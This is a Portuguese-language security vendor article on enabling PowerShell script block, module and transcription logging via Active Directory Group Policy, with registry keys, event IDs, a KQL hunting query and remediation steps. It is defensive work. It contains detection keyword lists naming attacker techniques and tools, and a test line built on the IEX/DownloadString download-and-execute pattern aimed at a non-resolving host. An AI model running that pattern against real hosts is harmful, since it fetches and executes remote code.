🏢Active DirectoryGPOMonitoringCompliance

PowerShell Script Block Logging Active Directory GPO: O Que Está Faltando

A maioria dos ambientes Active Directory ainda deixa o script block logging, module logging e transcription do PowerShell desativados por padrão — as três configurações de GPO que tornam visível, em vez de invisível, o tradecraft PowerShell sem arquivo.

Younes AZABARPor Younes AZABAR10 min de leitura
PowerShell Script Block Logging Active Directory GPO: O Que Está Faltando

O Que É PowerShell Script Block Logging (e Por Que É Uma de Três Configurações, Não Apenas Uma)

As configurações de GPO do Active Directory para PowerShell script block logging estão, junto com module logging e transcription, entre os controles de detecção de maior valor que a maioria dos ambientes Windows ainda deixa desativados por padrão. O script block logging em si é uma configuração controlada por Group Policy que grava o texto completo de cada bloco de script PowerShell executado em uma máquina — incluindo código ofuscado ou gerado dinamicamente — diretamente no log de eventos do Windows. Juntas, as três configurações fazem a diferença entre ter um registro forense do que rodou em um host e não ter nada além de uma lacuna onde um incidente já aconteceu.

Isso importa mais do que a severidade de catálogo sugere. Grande parte do tradecraft moderno de pós-exploração é sem arquivo (fileless): roda inteiramente na memória via PowerShell, sem deixar nenhum executável em disco para os scans de arquivo do antivírus ou EDR capturarem (Malwarebytes / ThreatDown sobre o loader PowerShell-para-Cobalt-Strike do Black Basta). Sem essas três configurações de GPO, essa atividade fica efetivamente invisível para o seu SIEM.

PowerShell Script Block Logging Active Directory GPO: Como as Três Configurações Funcionam

As três ficam sob o mesmo caminho de Group Policy — a mesma classe de objeto abordada em nosso guia sobre más configurações de GPO como vetor de ataque, já que uma GPO mal vinculada ou sobrescrita aqui significa "habilitada" apenas no papel:

Configuração do Computador > Modelos Administrativos > Componentes do Windows > Windows PowerShell
ConfiguraçãoNome no GPOChave de RegistroFonte do Evento
Script Block LoggingAtivar Log de Blocos de ScriptHKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLoggingEnableScriptBlockLogging (DWORD)Event ID 4104
Module LoggingAtivar Log de MódulosHKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLoggingEnableModuleLogging (DWORD) + ModuleNamesEvent ID 4103
TranscriptionAtivar Transcrição do PowerShellHKLM\Software\Policies\Microsoft\Windows\PowerShell\TranscriptionEnableTranscripting (DWORD)Arquivos de texto, não o log de eventos

Script Block Logging (Event ID 4104)

Quando ativado, cada bloco de script que o PowerShell interpreta — incluindo um codificado em Base64 ou montado em tempo de execução via concatenação de strings — é registrado em Microsoft-Windows-PowerShell/Operational como o event ID 4104, com o conteúdo desofuscado incluído. Esta é, de longe, a mais valiosa das três configurações, porque derrota a ofuscação simples: o script do atacante pode parecer ilegível na rede, mas o PowerShell precisa decodificá-lo para executá-lo, e é exatamente esse o momento que o script block logging captura (TrustedSec, "Building a Detection Foundation Part 3: PowerShell and Script Logging").

Existe uma segunda camada opcional dentro da mesma política: Log script block invocation start/stop events, que emite adicionalmente os event IDs 4105 e 4106 para cada bloco que começa e termina de executar. Este é um nível bastante verboso, desativado por padrão mesmo quando o script block logging em si está ativo, e gera volume suficiente para que a maioria dos ambientes o deixe intencionalmente desativado em toda a frota.

$path = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
New-Item -Path $path -Force | Out-Null
Set-ItemProperty -Path $path -Name 'EnableScriptBlockLogging' -Value 1 -Type DWord

Module Logging (Event ID 4103)

O module logging registra detalhes de execução do pipeline para os módulos que você especificar — invocações de cmdlets, parâmetros e saída de objetos do pipeline — como event ID 4103. Ele existe desde o PowerShell 3.0 como a propriedade LogPipelineExecutionDetails de um módulo; o GPO é apenas o jeito de ativá-la em toda a frota. Está desativado por padrão para todo módulo embutido (Microsoft Learn, about_Group_Policy_Settings). Na caixa de diálogo Mostrar… do GPO, você lista quais nomes de módulo registrar; usar * cobre todos os módulos, o que a maioria dos ambientes deveria fazer — registrar apenas uma lista selecionada de módulos cria um ponto cego no momento em que um atacante usa qualquer coisa fora dela.

Transcription (sem event ID — arquivos de texto)

Transcription é diferente por natureza: em vez de gravar no log de eventos, ela grava uma transcrição em texto puro de cada entrada e saída do PowerShell em um arquivo, de forma semelhante a rodar Start-Transcript automaticamente em toda sessão. Configure OutputDirectory para um compartilhamento UNC central e com acesso restrito, em vez de deixá-lo no padrão por usuário, e ative Include invocation headers para que cada comando receba um timestamp. Como as transcrições são arquivos em disco (ou em um compartilhamento), elas são uma fonte forense distinta do log de eventos e sobrevivem de forma independente se um atacante limpar os logs de eventos do Windows.

Por Que Isso É Uma Lacuna de Detecção, Não Apenas um Item de Compliance

Frameworks como Empire e Cobalt Strike executam seus stagers PowerShell e módulos de pós-exploração inteiramente na memória. A equipe de pesquisa de detecção da Splunk criou uma analytic específica para esse cenário exato — detectando o Empire via PowerShell script block logging — precisamente porque, sem eventos 4104, a execução em memória do Empire não deixa mais nada para caçar no host. O log de criação de processo (event ID 4688) mostrará o powershell.exe sendo iniciado, mas a linha de comando sozinha costuma estar truncada, codificada ou envolta em ofuscação suficiente para que o o quê — o código que realmente rodou — só seja recuperável a partir do conteúdo desofuscado do script block que o 4104 fornece (Splunk, "Hunting for Malicious PowerShell using Script Block Logging").

Um exemplo concreto: a análise da ThreatDown de uma intrusão do Black Basta constatou que o stager PowerShell inicial empilhava múltiplas rodadas de codificação Base64, compressão e criptografia especificamente para derrotar a inspeção estática, antes de injetar um beacon Cobalt Strike diretamente na memória (ThreatDown, "How Black Basta Used PowerShell to Set Up a Cobalt Strike Beacon"). Nada dessa cadeia toca o disco de uma forma que assinaturas de antivírus tradicionais capturem — o script block logging é o que transforma o blob codificado de volta em PowerShell legível no seu log de eventos, depois que o próprio PowerShell já fez o trabalho de decodificação para você.

Resumindo: com as três configurações desativadas, um atacante executando um loader PowerShell codificado e em memória deixa apenas um evento de criação de processo e nada mais. Com elas ativadas, o mesmo ataque deixa um script block decodificado, o pipeline de módulos que ele tocou e uma transcrição em texto do que fez.

Detecção

Para o panorama mais amplo sobre quais event IDs do Windows realmente merecem um lugar no seu SIEM, veja Monitoramento de Segurança AD: Eventos Que Importam. Especificamente para PowerShell:

IndicadorEvent IDFonteO Que Procurar
Conteúdo do script block4104Microsoft-Windows-PowerShell/OperationalTexto de script desofuscado contendo Invoke-Expression, DownloadString, -EncodedCommand, IEX, carregamento reflexivo de assembly
Início/fim da invocação do script block4105 / 4106Microsoft-Windows-PowerShell/OperationalPresente apenas se o log de invocação for ativado separadamente; útil para correlacionar o horário exato de execução
Execução do pipeline de módulo4103Microsoft-Windows-PowerShell/OperationalCmdlet + parâmetros de módulos fora da baseline normal do host (ex.: Invoke-Mimikatz, Invoke-WMIExec)
Criação de processo4688Securitypowershell.exe / pwsh.exe com -nop, -w hidden, -enc, ou linhas de comando incomumente longas
Arquivos de transcriçãon/aCompartilhamento OutputDirectory configuradoLogs de sessão em texto puro correlacionados ao timestamp de um evento 4104 suspeito

Uma query mínima de hunting contra uma tabela de eventos no estilo Sentinel/KQL, usando o canal Microsoft-Windows-PowerShell/Operational:

Event
| where Channel == "Microsoft-Windows-PowerShell/Operational"
| where EventID in (4104, 4103, 4688)
| where RenderedDescription has_any (
    "Invoke-Expression", "IEX", "DownloadString", "-EncodedCommand",
    "FromBase64String", "Net.WebClient", "-nop", "-w hidden"
  )
| project TimeGenerated, Computer, EventID, RenderedDescription
| order by TimeGenerated desc

Este é um ponto de partida, não uma detecção pronta: ajuste a lista has_any ao ferramental administrativo normal do seu próprio ambiente, já que módulos RSAT, agentes de backup e agentes EDR aparecem rotineiramente na telemetria 4103 e vão afogar uma regra ingênua em falsos positivos. Encaminhe o mesmo canal para o produto de correlação que você já usa — Sentinel, Splunk ou um SIEM on-prem consomem o Microsoft-Windows-PowerShell/Operational da mesma forma, então o esforço está no ajuste fino, não na canalização.

⚠️

⚠️ Aviso: o 4104 sozinho não revela o timing de início/fim, e a transcription sozinha não sobrevive a um atacante que desative as chaves de registro de logging no meio da sessão com privilégios elevados. Trate as três configurações como camadas complementares, não como substitutas umas das outras.

Remediação

💡

💡 Vitória Rápida: Se você ativar apenas uma das três, que seja o script block logging (4104) — ele tem o maior valor de detecção pelo menor volume de log, já que captura conteúdo desofuscado em vez de ruído bruto de pipeline.

  1. Ative o Script Block Logging. Em uma GPO vinculada às suas OUs de workstation/servidor: Configuração do Computador > Modelos Administrativos > Componentes do Windows > Windows PowerShell > Ativar Log de Blocos de Script → Habilitado. Deixe a subopção de início/fim desativada, a menos que você tenha orçamento de SIEM para o volume extra.
  2. Ative o Module Logging para todos os módulos. Mesmo caminho de GPO, Ativar Log de Módulos → Habilitado → em Mostrar…, adicione * para que nenhum módulo fique sem registro.
  3. Ative a Transcription com um diretório de saída centralizado. Ativar Transcrição do PowerShell → Habilitado, defina OutputDirectory para um compartilhamento UNC somente-escrita (negue leitura/exclusão a usuários padrão), e marque Include invocation headers.
  4. Encaminhe o Microsoft-Windows-PowerShell/Operational para o seu SIEM. Essas configurações só ajudam se os eventos saírem do host — a mesma disciplina de audit policy abordada em Lacunas na Configuração da Política de Auditoria do Active Directory: garanta que sua configuração de encaminhamento de logs realmente assine este canal, não apenas o Security.
  5. Verifique com gpresult e o registro, não apenas com o console de GPO — confirme em uma amostra de servidores membros e workstations que a política realmente foi aplicada (gpresult /h report.html ou verificando as chaves de registro acima), já que erros de escopo de vínculo e precedência de GPO são um motivo comum de políticas "habilitadas" nunca chegarem ao endpoint.
  6. Teste o pipeline de ponta a ponta. Em um host de teste isolado, rode um comando deliberadamente sinalizado mas inofensivo (por exemplo IEX (New-Object Net.WebClient).DownloadString('http://example.invalid') contra um domínio que não resolve) e confirme que o evento 4104 correspondente aparece tanto localmente quanto chega ao seu SIEM. Uma GPO que "se aplica", mas cujos eventos nunca chegam ao SIEM, é funcionalmente idêntica a nenhuma GPO.
  7. Restrinja quem pode editar a GPO e quem tem admin local. As três configurações vivem no registro sob HKLM; um usuário com direitos de administrador local pode desativá-las, então delimite deliberadamente a associação de admin local como parte da mesma passada de hardening. Combine isso com credenciais de admin local únicas e rotacionadas — veja Windows LAPS Não Implantado e a lista de prioridades mais ampla em Endurecimento do Active Directory: Prioridades.

Como a EtcSec Detecta Isso

O audit de Active Directory da EtcSec verifica o estado efetivo das três configurações em todo o seu domínio via os itens de catálogo PA038_PS_SCRIPTBLOCK_LOGGING_OFF, PA038_PS_MODULE_LOGGING_OFF e PA038_PS_TRANSCRIPTION_OFF, além do check mais amplo POWERSHELL_LOGGING_DISABLED, e sinaliza hosts ou escopos de GPO onde a atividade PowerShell rodaria sem registro — o mesmo problema de posture drift abordado em Auditar a Segurança do Active Directory: Checklist Prática.

ℹ️

ℹ️ Nota: a EtcSec verifica automaticamente essa vulnerabilidade em todo audit de AD. Execute um audit gratuito para verificar se o seu ambiente não está deixando a atividade PowerShell sem registro.

Explore as paginas de identidade que sustentam este tema